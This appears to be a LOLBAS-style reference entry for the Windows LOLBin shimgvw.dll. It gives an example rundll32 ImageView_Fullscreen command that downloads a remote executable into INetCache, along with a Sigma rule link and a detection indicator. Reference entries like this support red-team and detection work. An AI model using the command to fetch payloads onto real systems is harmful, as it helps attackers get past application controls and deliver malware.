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shimgvw

Photo Gallery Viewer Located at: c:\windows\system32\shimgvw.dll; c:\windows\syswow64\shimgvw.dll.

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shimgvw
shimgvw

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: network_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'. (Download file from remote location.)

rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
ioc Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line

Documentation

shimgvw

shimgvw is a Windows LOLBin. Photo Gallery Viewer Located at: c:\windows\system32\shimgvw.dll; c:\windows\syswow64\shimgvw.dll.

References